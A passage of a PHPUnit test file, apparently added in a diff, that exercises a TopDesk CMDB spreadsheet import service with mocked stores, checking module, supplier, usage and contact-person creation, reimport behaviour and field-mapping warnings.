array_slice($found, $offset, $limit); + } + ); + $service->method('find')->willReturnCallback( + function ($id, ?array $_extend = [], bool $files = false, $register = null, $schema = null): ?ObjectEntityInterface { + $data = ($this->store[(int)$schema][(string)$id] ?? null); + if ($data === null) { + return null; + } + + return $this->entity(uuid: (string)$id, data: $data); + } + ); + + return $service; + }//end objectService() + + /** + * The Contacts bridge over a fake address book. + * + * @return StackiqContactSyncService + */ + private function contactSync(): StackiqContactSyncService { + $sync = $this->createMock(StackiqContactSyncService::class); + $sync->method('isAvailable')->willReturnCallback(fn (): bool => $this->contactsEnabled); + $sync->method('searchContacts')->willReturnCallback( + function (string $query): array { + $found = []; + foreach ($this->contacts as $uid => $contact) { + if (str_contains(mb_strtolower($contact['name']), mb_strtolower($query)) === true) { + $found[] = ['uid' => $uid, 'name' => $contact['name'], 'email' => $contact['email']]; + } + } + + return $found; + } + ); + $sync->method('syncToContacts')->willReturnCallback( + function (string $objectType, array $record): ?string { + $email = (string)($record['email'] ?? ''); + foreach ($this->contacts as $uid => $contact) { + if ($email !== '' && strcasecmp($contact['email'], $email) === 0) { + return $uid; + } + } + + $uid = 'contact-' . (count($this->contacts) + 1); + $this->contacts[$uid] = ['name' => trim(($record['voornaam'] ?? '') . ' ' . ($record['achternaam'] ?? '')), 'email' => $email]; + return $uid; + } + ); + + return $sync; + }//end contactSync() + + /** + * A ProgressTracker on an in-memory distributed cache. + * + * @return ProgressTracker + */ + private function progressTracker(): ProgressTracker { + $cache = $this->createMock(ICache::class); + $cache->method('get')->willReturnCallback(fn ($key) => ($this->cache[$key] ?? null)); + $cache->method('set')->willReturnCallback( + function ($key, $value): bool { + $this->cache[$key] = $value; + return true; + } + ); + $cache->method('remove')->willReturnCallback( + function ($key): bool { + unset($this->cache[$key]); + return true; + } + ); + $factory = $this->createMock(ICacheFactory::class); + $factory->method('createDistributed')->willReturn($cache); + + return new ProgressTracker(cacheFactory: $factory, userSession: $this->createMock(IUserSession::class), logger: $this->logger()); + }//end progressTracker() + + /** + * An IL10N that returns the English source with its parameters filled in. + * + * @return IL10N + */ + private function l10n(): IL10N { + $l10n = $this->createMock(IL10N::class); + $l10n->method('t')->willReturnCallback(fn (string $text, $parameters = []): string => vsprintf($text, (array)$parameters)); + return $l10n; + }//end l10n() + + /** + * A logger that keeps every line. + * + * @return AbstractLogger + */ + private function logger(): AbstractLogger { + $lines = &$this->logLines; + return new class($lines) extends AbstractLogger { + /** + * Constructor. + * + * @param array $lines The collected lines. + */ + public function __construct( + private array &$lines, + ) { + } + + /** + * Keep a line. + * + * @param mixed $level The level. + * @param string|\Stringable $message The message. + * @param array $context The context. + * + * @return void + */ + public function log($level, string|\Stringable $message, array $context = []): void { + array_walk_recursive( + $context, + function (&$value): void { + if (is_object($value) === true) { + $value = get_class($value) . ($value instanceof \Throwable ? ': ' . $value->getMessage() : ''); + } + } + ); + $this->lines[] = $message . ' ' . json_encode($context, JSON_UNESCAPED_UNICODE); + } + }; + }//end logger() + + /** + * A reader that hands out given rows, for tests that do not need the fixture. + * + * @param array}> $rows The rows. + * + * @return CmdbWorkbookReader + */ + private function rowsReader(array $rows): CmdbWorkbookReader { + return new class($rows) extends CmdbWorkbookReader { + /** + * Constructor. + * + * @param array> $rows The rows. + */ + public function __construct( + private array $rows, + ) { + } + + /** + * The given rows. + * + * @param string $path Ignored. + * @param CmdbImportProfile $profile Ignored. + * + * @return array + */ + public function read(string $path, CmdbImportProfile $profile): array { + return ['rows' => $this->rows, 'importWarnings' => [], 'date1904' => false]; + } + }; + }//end rowsReader() + + /** + * The service under test. + * + * @param CmdbWorkbookReader|null $reader The reader; null is the real one. + * @param string|null $profileDir A profile directory other than the shipped one. + * @param array $config The voorzieningen config. + * + * @return CmdbExportImportService + */ + private function service(?CmdbWorkbookReader $reader = null, ?string $profileDir = null, array $config = ['register' => '20']): CmdbExportImportService { + $objectService = $this->objectService(); + $container = $this->createMock(ContainerInterface::class); + $container->method('has')->willReturn(false); + $container->method('get')->willReturnCallback( + function (string $id) use ($objectService) { + if ($id === ObjectServiceInterface::class) { + return $objectService; + } + + throw new RuntimeException('not in this container: ' . $id); + } + ); + + $settings = $this->createMock(SettingsService::class); + $settings->method('getVoorzieningenConfig')->willReturn($config); + $settings->method('getSchemaIdForObjectType')->willReturnCallback( + fn (string $type): ?int => ['module' => self::MODULE, 'organization' => self::ORGANIZATION, 'usage' => self::USAGE, 'contactPerson' => self::CONTACT_PERSON][$type] ?? null + ); + + $this->tracker = $this->progressTracker(); + + return new CmdbExportImportService( + container: $container, + settingsService: $settings, + contactSync: $this->contactSync(), + progressTracker: $this->tracker, + profile: new CmdbImportProfile(container: $container, directory: $profileDir), + reader: ($reader ?? new CmdbWorkbookReader()), + normaliser: new CmdbRowNormaliser(), + l10n: $this->l10n(), + logger: $this->logger() + ); + }//end service() + + /** + * Skip unless the fixture can be read. + * + * @return string The fixture path. + */ + private function fixture(): string { + if (CmdbTestSupport::loadPhpSpreadsheet() === false) { + $this->markTestSkipped('PhpSpreadsheet not found: set OPENREGISTER_DIR to an OpenRegister app with its vendor/ installed.'); + } + + return CmdbTestSupport::fixtures() . '/topdesk-export-anonymised.xlsx'; + }//end fixture() + + /** + * A synthetic application row of a CMDB sheet. + * + * @param string $appId The APPID. + * @param array $cells Overrides. + * @param int $row The row number. + * @param string $sheet The sheet. + * @param array $uncached Columns whose formula has no cached value. + * + * @return array{sheet: string, row: int, cells: array, uncached: array} + */ + private function row(string $appId, array $cells = [], int $row = 2, string $sheet = 'Beheerde Applicaties CMDB', array $uncached = []): array { + return [ + 'sheet' => $sheet, + 'row' => $row, + 'cells' => array_merge( + ['APPID' => $appId, 'Applicatie Code' => 'APP-' . $appId, 'Applicatie Naam' => 'Applicatie ' . $appId, 'Vendor' => 'Fabfrikant', 'Applicatie Status' => 'In productie'], + $cells + ), + 'uncached' => $uncached, + ]; + }//end row() + + /** + * The stored objects of a schema. + * + * @param int $schema The schema id. + * + * @return array> + */ + private function objects(int $schema): array { + return array_values($this->store[$schema]); + }//end objects() + + /** + * Seed an organisation. + * + * @param string $uuid The uuid. + * @param string $name The name. + * @param string $type The type. + * + * @return void + */ + private function seedOrganisation(string $uuid, string $name, string $type): void { + $this->store[self::ORGANIZATION][$uuid] = ['id' => $uuid, 'name' => $name, 'type' => $type, 'status' => 'Active']; + }//end seedOrganisation() + + // ------------------------------------------------------------------ + // Task 5: municipality, manufacturer, module upsert, usage + // ------------------------------------------------------------------ + + /** + * The sanitised export creates two modules, two suppliers, two usages and the municipality. + * + * @return void + */ + public function testTheFixtureCreatesModulesUsagesAndSuppliers(): void { + $path = $this->fixture(); + $before = (new \DateTimeImmutable('now', new \DateTimeZone('UTC')))->modify('-1 second'); + $report = $this->service()->import(path: $path, options: ['municipalityName' => 'Gemeente Voorbeeldstad', 'operationId' => 'cmdb-test-0001']); + + $this->assertTrue($report['success']); + $this->assertFalse($report['cancelled']); + $this->assertSame('cmdb-test-0001', $report['operationId']); + $this->assertSame(['rowsRead' => 2, 'processed' => 2, 'created' => 2, 'updated' => 0, 'unchanged' => 0, 'skipped' => 0, 'failed' => 0, 'warnings' => 1], $report['summary']); + $this->assertSame('Gemeente Voorbeeldstad', $report['municipality']['name']); + $this->assertTrue($report['municipality']['created']); + $this->assertSame([], $report['importWarnings']); + // "Webapplicatie" is an application kind, not a hosting model: the field is dropped with a warning. + $this->assertSame(['Column "Applicatiesoort": Value "Webapplicatie" has no mapping and no default is configured'], $report['rows'][0]['warnings']); + + $municipality = $report['municipality']['uuid']; + $this->assertSame('Municipality', $this->store[self::ORGANIZATION][$municipality]['type']); + $this->assertSame('Active', $this->store[self::ORGANIZATION][$municipality]['status']); + + $suppliers = array_filter($this->objects(self::ORGANIZATION), fn (array $o): bool => $o['type'] === 'Supplier'); + $this->assertEqualsCanonicalizing(['Aangetekend B.V.', 'Fabfrikant'], array_column($suppliers, 'name')); + + $modules = []; + foreach ($this->objects(self::MODULE) as $module) { + $modules[$module['externalNumber']] = $module; + } + + $this->assertSame(['1234', '2'], array_map('strval', array_keys($modules))); + $onbeh = $modules[1234]; + $this->assertSame('topdesk:' . $municipality . ':1234', $onbeh['externalKey']); + $this->assertSame('AIA-AangetekendMailen', $onbeh['externalId']); + $this->assertSame('Aangetekend Mailen', $onbeh['name']); + $this->assertSame('Mailen', $onbeh['shortDescription']); + $this->assertSame('Application', $onbeh['type']); + $this->assertSame('2023-07-04', $onbeh['externalCreatedAt']); + $this->assertSame('2026-07-29', $onbeh['externalModifiedAt']); + $this->assertSame('Functionele omschrijving test123', $onbeh['longDescription']); + $this->assertArrayNotHasKey('bbnLevel', $onbeh, '"NB" means unknown'); + $this->assertArrayNotHasKey('cloudDienstverleningsmodel', $onbeh); + $publication = new \DateTimeImmutable($onbeh['publicationDate']); + $this->assertGreaterThanOrEqual($before, $publication); + $this->assertLessThanOrEqual(new \DateTimeImmutable('now'), $publication); + + $beheerd = $modules[2]; + $this->assertSame($onbeh['publicationDate'], $beheerd['publicationDate'], 'one start time for the whole import'); + $this->assertSame('topdesk:' . $municipality . ':2', $beheerd['externalKey']); + $this->assertSame('APP-test123', $beheerd['externalId']); + $this->assertSame('naamtest123', $beheerd['name']); + $this->assertSame('Naamtest', $beheerd['shortDescription'], 'Roepnaam wins over Nickname'); + $this->assertSame('Accomodatieplanning.', $beheerd['longDescription']); + $this->assertSame(['SaaS'], $beheerd['cloudDienstverleningsmodel']); + $this->assertSame('BBN2', $beheerd['bbnLevel']); + + $supplierByName = array_column($suppliers, 'id', 'name'); + $this->assertSame($supplierByName['Aangetekend B.V.'], $onbeh['provider']); + $this->assertSame($supplierByName['Fabfrikant'], $beheerd['provider']); + + $usages = $this->objects(self::USAGE); + $this->assertCount(2, $usages); + $usageByModule = array_column($usages, null, 'module'); + $aia = $usageByModule[$onbeh['id']]; + $this->assertSame($municipality, $aia['consumer']); + $this->assertSame('Planned', $aia['status']); + $this->assertSame('Beheer geregeld: nee / H10 / H10 Accounting', $aia['interneAnnotation']); + $this->assertArrayNotHasKey('startDateOutPhased', $aia, 'the CMDB placeholder 2036-01-01 means no date'); + $this->assertArrayNotHasKey('timeClassification', $aia); + $this->assertSame($supplierByName['Aangetekend B.V.'], $aia['provider']); + $app = $usageByModule[$beheerd['id']]; + $this->assertSame('In production', $app['status']); + $this->assertSame('Tolerate', $app['timeClassification']); + $this->assertSame('2046-02-01', $app['startDateOutPhased']); + $this->assertSame('Beheer geregeld: ja / B10 / B10 Maatschappelijke Ontwikkeling', $app['interneAnnotation']); + $this->assertArrayNotHasKey('technicalOwner', $app); + + $this->assertSame($onbeh['id'], $report['rows'][0]['moduleUuid']); + $this->assertSame($aia['id'], $report['rows'][0]['usageUuid']); + $this->assertSame( + ['Onbeh Applicaties CMDB', 2, '1234', 'Aangetekend Mailen', 'created'], + [$report['rows'][0]['sheet'], $report['rows'][0]['row'], $report['rows'][0]['appId'], $report['rows'][0]['name'], $report['rows'][0]['outcome']] + ); + $this->assertSame('Beheerde Applicaties CMDB', $report['rows'][1]['sheet']); + }//end testTheFixtureCreatesModulesUsagesAndSuppliers() + + /** + * The same export again: 0 created, 2 unchanged, no save at all, one municipality. + * + * @return void + */ + public function testReimportingTheSameExportChangesNothing(): void { + $path = $this->fixture(); + $service = $this->service(); + $service->import(path: $path, options: ['municipalityName' => 'Gemeente Voorbeeldstad']); + $counts = array_map('count', $this->store); + $savesAfterFirst = count($this->saves); + + $report = $service->import(path: $path, options: ['municipalityName' => ' gemeente VOORBEELDSTAD ']); + + $this->assertSame(0, $report['summary']['created']); + $this->assertSame(2, $report['summary']['unchanged']); + $this->assertFalse($report['municipality']['created']); + $this->assertSame($savesAfterFirst, count($this->saves), 'no saveObject() call for unchanged objects'); + $this->assertSame($counts, array_map('count', $this->store)); + $municipalities = array_filter($this->objects(self::ORGANIZATION), fn (array $o): bool => $o['type'] === 'Municipality'); + $this->assertCount(1, $municipalities); + }//end testReimportingTheSameExportChangesNothing() + + /** + * The match key is the APPID: a changed Applicatie Code updates the same module. + * + * @return void + */ + public function testTheKeyIsTheAppIdNotTheCode(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '42', cells: ['Applicatie Code' => 'APP-Oud'])])) + ->import(path: '', options: ['municipalityUuid' => 'muni-1']); + $uuid = array_key_first($this->store[self::MODULE]); + + $report = $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '42', cells: ['Applicatie Code' => 'App-Nieuw'])])) + ->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $this->assertSame('updated', $report['rows'][0]['outcome']); + $this->assertCount(1, $this->store[self::MODULE]); + $this->assertSame('App-Nieuw', $this->store[self::MODULE][$uuid]['externalId']); + $this->assertSame('topdesk:muni-1:42', $this->store[self::MODULE][$uuid]['externalKey']); + $this->assertSame('42', $this->store[self::MODULE][$uuid]['externalNumber']); + }//end testTheKeyIsTheAppIdNotTheCode() + + /** + * A changed Applicatie Naam updates the module; website, publicationDate and depublicationDate stay. + * + * @return void + */ + public function testAChangedNameUpdatesOnlyTheMappedFields(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $service = $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '2', cells: ['Applicatie Naam' => 'naamtest123'])])); + $service->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $uuid = array_key_first($this->store[self::MODULE]); + $this->store[self::MODULE][$uuid]['website'] = 'https://voorbeeld.example'; + $this->store[self::MODULE][$uuid]['depublicationDate'] = '2026-10-02T00:00:00+00:00'; + $published = $this->store[self::MODULE][$uuid]['publicationDate']; + + $service = $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '2', cells: ['Applicatie Naam' => 'naamtest124'])])); + $report = $service->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $this->assertSame('updated', $report['rows'][0]['outcome']); + $this->assertCount(1, $this->store[self::MODULE]); + $module = $this->store[self::MODULE][$uuid]; + $this->assertSame('naamtest124', $module['name']); + $this->assertSame('https://voorbeeld.example', $module['website']); + $this->assertSame($published, $module['publicationDate']); + $this->assertSame('2026-10-02T00:00:00+00:00', $module['depublicationDate']); + $this->assertCount(1, $this->store[self::USAGE], 'still one usage'); + }//end testAChangedNameUpdatesOnlyTheMappedFields() + + /** + * An existing module without publicationDate does not get one on update. + * + * @return void + */ + public function testAnUpdateNeverWritesPublicationDate(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $this->store[self::MODULE]['mod-1'] = ['id' => 'mod-1', 'name' => 'Oud', 'externalKey' => 'topdesk:muni-1:1']; + + $report = $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1')]))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $this->assertSame('updated', $report['rows'][0]['outcome']); + $this->assertArrayNotHasKey('publicationDate', $this->store[self::MODULE]['mod-1']); + $this->assertArrayNotHasKey('type', $this->store[self::MODULE]['mod-1'], 'type is create-only'); + $this->assertSame('Applicatie 1', $this->store[self::MODULE]['mod-1']['name']); + }//end testAnUpdateNeverWritesPublicationDate() + + /** + * A municipality uuid must be an organisation of type Municipality. + * + * @return void + */ + public function testTheMunicipalityMustBeAMunicipality(): void { + $this->seedOrganisation(uuid: 'supplier-1', name: 'Voorbeeld Software B.V.', type: 'Supplier'); + foreach ([['municipalityUuid' => 'supplier-1'], ['municipalityUuid' => 'unknown-uuid']] as $options) { + try { + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1')]))->import(path: '', options: $options); + $this->fail('MUNICIPALITY_INVALID expected'); + } catch (CmdbImportException $e) { + $this->assertSame('MUNICIPALITY_INVALID', $e->getErrorCode()); + $this->assertSame(422, $e->getHttpStatus()); + } + } + + try { + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1')]))->import(path: '', options: ['municipalityName' => ' ']); + $this->fail('MUNICIPALITY_REQUIRED expected'); + } catch (CmdbImportException $e) { + $this->assertSame('MUNICIPALITY_REQUIRED', $e->getErrorCode()); + } + + $this->assertSame([], $this->saves, 'nothing is written'); + }//end testTheMunicipalityMustBeAMunicipality() + + /** + * "Fabfrikant", "Fabfrikant " and "FABFRIKANT" are one supplier; an existing supplier is reused. + * + * @return void + */ + public function testAVendorIsOneSupplier(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $this->seedOrganisation(uuid: 'aangetekend', name: 'Aangetekend B.V.', type: 'Supplier'); + $rows = [ + $this->row(appId: '1', cells: ['Vendor' => 'Fabfrikant'], row: 2), + $this->row(appId: '2', cells: ['Vendor' => 'Fabfrikant '], row: 3), + $this->row(appId: '3', cells: ['Vendor' => 'FABFRIKANT'], row: 4), + $this->row(appId: '4', cells: ['Vendor' => 'aangetekend b.v.'], row: 5), + $this->row(appId: '5', cells: ['Vendor' => ''], row: 6), + ]; + + $report = $this->service(reader: $this->rowsReader(rows: $rows))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $this->assertSame(5, $report['summary']['created']); + $suppliers = array_filter($this->objects(self::ORGANIZATION), fn (array $o): bool => $o['type'] === 'Supplier'); + $this->assertCount(2, $suppliers); + $fabfrikant = array_values(array_filter($suppliers, fn (array $o): bool => $o['name'] === 'Fabfrikant'))[0]['id']; + $providers = array_column($this->objects(self::MODULE), 'provider', 'externalNumber'); + $this->assertSame([1 => $fabfrikant, 2 => $fabfrikant, 3 => $fabfrikant, 4 => 'aangetekend'], $providers); + }//end testAVendorIsOneSupplier() + + /** + * updateExisting=false reports a match as skipped "exists" and writes nothing. + * + * @return void + */ + public function testUpdateExistingFalseSkipsMatches(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1')]))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + $saves = count($this->saves); + + $report = $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1', cells: ['Applicatie Naam' => 'Anders'])])) + ->import(path: '', options: ['municipalityUuid' => 'muni-1', 'updateExisting' => false]); + + $this->assertSame('skipped', $report['rows'][0]['outcome']); + $this->assertSame(['exists'], $report['rows'][0]['reasons']); + $this->assertSame($saves, count($this->saves)); + }//end testUpdateExistingFalseSkipsMatches() + + /** + * A module missing from a newer export, and its usage, are left as they are. + * + * @return void + */ + public function testRecordsMissingFromTheExportStay(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1', row: 2), $this->row(appId: '7', row: 3, sheet: 'Onbeh Applicaties CMDB')])) + ->import(path: '', options: ['municipalityUuid' => 'muni-1']); + $modules = $this->store[self::MODULE]; + $usages = $this->store[self::USAGE]; + + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1', cells: ['Applicatie Naam' => 'Nieuw'])])) + ->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + foreach ($modules as $uuid => $module) { + if ($module['externalNumber'] === '7') { + $this->assertSame($module, $this->store[self::MODULE][$uuid]); + } + } + + $this->assertSame($usages, $this->store[self::USAGE]); + $this->assertCount(2, $this->store[self::MODULE]); + }//end testRecordsMissingFromTheExportStay() + + /** + * An unknown Applicatie Status drops only that field and warns with column and value. + * + * @return void + */ + public function testAnUnknownStatusDropsOnlyThatField(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $report = $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1', cells: ['Applicatie Status' => 'Onbekende status'])])) + ->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $this->assertSame('created', $report['rows'][0]['outcome']); + $this->assertCount(1, $report['rows'][0]['warnings']); + $this->assertStringContainsString('"Applicatie Status"', $report['rows'][0]['warnings'][0]); + $this->assertStringContainsString('Onbekende status', $report['rows'][0]['warnings'][0]); + $this->assertSame(1, $report['summary']['warnings']); + $usage = $this->objects(self::USAGE)[0]; + $this->assertArrayNotHasKey('status', $usage); + $this->assertCount(1, $this->store[self::MODULE]); + }//end testAnUnknownStatusDropsOnlyThatField() + + /** + * The sheet a row comes from records whether maintenance is arranged, in the usage's internal note; + * empty Cluster or Afdeling leave no empty part behind. + * + * @return void + */ + public function testTheSheetRecordsWhetherMaintenanceIsArranged(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $rows = [ + $this->row(appId: '1', cells: ['Cluster' => 'H10', 'Applicatie Eigenaar (Afdeling)' => 'H10 Accounting'], sheet: 'Onbeh Applicaties CMDB'), + $this->row(appId: '2', cells: ['Cluster' => '', 'Applicatie Eigenaar (Afdeling)' => 'B10 Ontwikkeling'], row: 3), + $this->row(appId: '3', cells: ['Cluster' => '', 'Applicatie Eigenaar (Afdeling)' => ''], row: 4), + ]; + + $this->service(reader: $this->rowsReader(rows: $rows))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $notes = array_column($this->objects(self::USAGE), 'interneAnnotation'); + $this->assertSame(['Beheer geregeld: nee / H10 / H10 Accounting', 'Beheer geregeld: ja / B10 Ontwikkeling', 'Beheer geregeld: ja'], $notes); + }//end testTheSheetRecordsWhetherMaintenanceIsArranged() + + /** + * "NB" in BNN Classificatie and the CMDB end-of-life placeholder (serial 49675) mean empty: no field, no warning. + * + * @return void + */ + public function testTheCmdbPlaceholdersMeanEmpty(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $rows = [ + $this->row(appId: '1', cells: ['BNN Classificatie' => 'NB', 'End-of-Life Functioneel' => 49675]), + $this->row(appId: '2', cells: ['BNN Classificatie' => 'BBN 3', 'End-of-Life Functioneel' => 53359, 'Classificatie' => 'Migreren'], row: 3), + ]; + + $report = $this->service(reader: $this->rowsReader(rows: $rows))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $this->assertSame(0, $report['summary']['warnings']); + $modules = array_column($this->objects(self::MODULE), null, 'externalNumber'); + $this->assertArrayNotHasKey('bbnLevel', $modules[1]); + $this->assertSame('BBN3', $modules[2]['bbnLevel']); + $usages = array_column($this->objects(self::USAGE), null, 'module'); + $this->assertArrayNotHasKey('startDateOutPhased', $usages[$modules[1]['id']]); + $this->assertSame('2046-02-01', $usages[$modules[2]['id']]['startDateOutPhased']); + $this->assertSame('Migrate', $usages[$modules[2]['id']]['timeClassification']); + }//end testTheCmdbPlaceholdersMeanEmpty() + + /** + * A formula without a cached value reads as empty and warns on its row; the row is still imported. + * + * @return void + */ + public function testAFormulaWithoutACachedValueWarns(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $report = $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1', cells: ['Roepnaam' => null], uncached: ['Roepnaam'])])) + ->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $this->assertSame('created', $report['rows'][0]['outcome']); + $this->assertSame(['Column "Roepnaam": formula without a cached value, read as empty'], $report['rows'][0]['warnings']); + $this->assertArrayNotHasKey('shortDescription', $this->objects(self::MODULE)[0]); + }//end testAFormulaWithoutACachedValueWarns() + + /** + * A test-only module pack that maps one more column changes the import without code. + * + * @return void + */ + public function testAPackChangeChangesTheMapping(): void { + $directory = sys_get_temp_dir() . '/stackiq-cmdb-pack-' . bin2hex(random_bytes(4)); + mkdir($directory); + foreach (glob(CmdbTestSupport::appRoot() . '/lib/Settings/cmdb-import/*.json') as $file) { + copy($file, $directory . '/' . basename($file)); + } + + $pack = json_decode((string)file_get_contents($directory . '/topdesk-module.json'), true); + $pack['fieldMappings'][] = ['source' => 'Software Suite', 'target' => 'licentietype', 'transform' => ['type' => 'trim']]; + file_put_contents($directory . '/topdesk-module.json', json_encode($pack)); + + try { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1', cells: ['Software Suite' => 'Suite'])]), profileDir: $directory) + ->import(path: '', options: ['municipalityUuid' => 'muni-1']); + } finally { + array_map('unlink', glob($directory . '/*.json')); + rmdir($directory); + } + + $this->assertSame('Suite', $this->objects(self::MODULE)[0]['licentietype']); + }//end testAPackChangeChangesTheMapping() + + // ------------------------------------------------------------------ + // Task 6: the owner as contact person + // ------------------------------------------------------------------ + + /** + * Each row's Applicatie Eigenaar (Persoon) becomes the usage's business owner, by display name; a + * function in that column is used as the display name too; the function becomes the role. + * + * @return void + */ + public function testTheOwnerBecomesTheBusinessOwner(): void { + $path = $this->fixture(); + $report = $this->service()->import(path: $path, options: ['municipalityName' => 'Gemeente Voorbeeldstad']); + $municipality = $report['municipality']['uuid']; + + $this->assertEqualsCanonicalizing(['Voornaam Achternaam', 'Teamleider Applicatiebeheer'], array_column($this->contacts, 'name')); + $this->assertSame(['', ''], array_column($this->contacts, 'email'), 'the CMDB sheets carry no e-mail address'); + + $people = $this->objects(self::CONTACT_PERSON); + $this->assertCount(2, $people); + $uidByName = array_flip(array_map(fn (array $c): string => $c['name'], $this->contacts)); + $byUid = array_column($people, null, 'contactsUid'); + $this->assertSame( + ['contactsUid' => $uidByName['Voornaam Achternaam'], 'organization' => $municipality, 'role' => 'Afdelingshoofd'], + array_diff_key($byUid[$uidByName['Voornaam Achternaam']], ['id' => true]) + ); + $this->assertSame('Teamleider Applicatiebeheer', $byUid[$uidByName['Teamleider Applicatiebeheer']]['role']); + + $usages = array_column($this->objects(self::USAGE), null, 'module'); + $this->assertSame($byUid[$uidByName['Voornaam Achternaam']]['id'], $usages[$report['rows'][0]['moduleUuid']]['businessOwner']); + $this->assertSame($byUid[$uidByName['Teamleider Applicatiebeheer']]['id'], $usages[$report['rows'][1]['moduleUuid']]['businessOwner']); + }//end testTheOwnerBecomesTheBusinessOwner() + + /** + * The same owner on two rows is one contact person, referenced by both usages. + * + * @return void + */ + public function testTheSameOwnerOnTwoRowsIsOneContactPerson(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $owner = ['Applicatie Eigenaar (Persoon)' => 'Achternaam, Voornaam', 'Applicatie Eigenaar (Functie)' => 'Afdelingshoofd']; + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1', cells: $owner, row: 2), $this->row(appId: '2', cells: $owner, row: 3)])) + ->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $this->assertCount(1, $this->objects(self::CONTACT_PERSON)); + $owners = array_unique(array_column($this->objects(self::USAGE), 'businessOwner')); + $this->assertSame([$this->objects(self::CONTACT_PERSON)[0]['id']], array_values($owners)); + }//end testTheSameOwnerOnTwoRowsIsOneContactPerson() + + /** + * An owner imported twice is one contact and one contact person; a near-namesake is not reused. + * + * @return void + */ + public function testAnOwnerByNameIsMatchedExactly(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + // A contact whose name merely contains the owner's name must not match. + $this->contacts['contact-other'] = ['name' => 'Voornaam Achternaam-Anders', 'email' => '']; + $rows = [$this->row(appId: '1', cells: ['Applicatie Eigenaar (Persoon)' => 'Achternaam, Voornaam'])]; + + $this->service(reader: $this->rowsReader(rows: $rows))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + $this->service(reader: $this->rowsReader(rows: $rows))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $this->assertCount(2, $this->contacts, 'one new contact next to the near-namesake'); + $people = $this->objects(self::CONTACT_PERSON); + $this->assertCount(1, $people); + $this->assertNotSame('contact-other', $people[0]['contactsUid']); + $this->assertArrayNotHasKey('role', $people[0]); + $this->assertSame($people[0]['id'], $this->objects(self::USAGE)[0]['businessOwner']); + }//end testAnOwnerByNameIsMatchedExactly() + + /** + * No technical owner is written, whatever the row holds. + * + * @return void + */ + public function testNoTechnicalOwnerIsWritten(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1', cells: ['FB contactpersoon 1' => 'Achternaam, Voornaam'])])) + ->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $this->assertArrayNotHasKey('technicalOwner', $this->objects(self::USAGE)[0]); + $this->assertArrayNotHasKey('businessOwner', $this->objects(self::USAGE)[0]); + $this->assertSame([], $this->objects(self::CONTACT_PERSON)); + $this->assertSame([], $this->contacts); + }//end testNoTechnicalOwnerIsWritten() + + /** + * With Contacts disabled the modules and usages are saved without owners, with a warning on each row that has an owner. + * + * @return void + */ + public function testContactsDisabledDoesNotBlockTheImport(): void { + $path = $this->fixture(); + $this->contactsEnabled = false; + $report = $this->service()->import(path: $path, options: ['municipalityName' => 'Gemeente Voorbeeldstad']); + + $this->assertSame(2, $report['summary']['created']); + $this->assertCount(2, $this->objects(self::USAGE)); + $this->assertSame([], $this->objects(self::CONTACT_PERSON)); + $this->assertContains('Owners skipped: Nextcloud Contacts is unavailable', $report['rows'][0]['warnings']); + $this->assertSame(['Owners skipped: Nextcloud Contacts is unavailable'], $report['rows'][1]['warnings']); + }//end testContactsDisabledDoesNotBlockTheImport() + + /** + * An imported contact person has no e-mail and no username, so neither user-provisioning path picks it up. + * + * @return void + */ + public function testAnImportedContactPersonIsNeverAUser(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1', cells: ['Applicatie Eigenaar 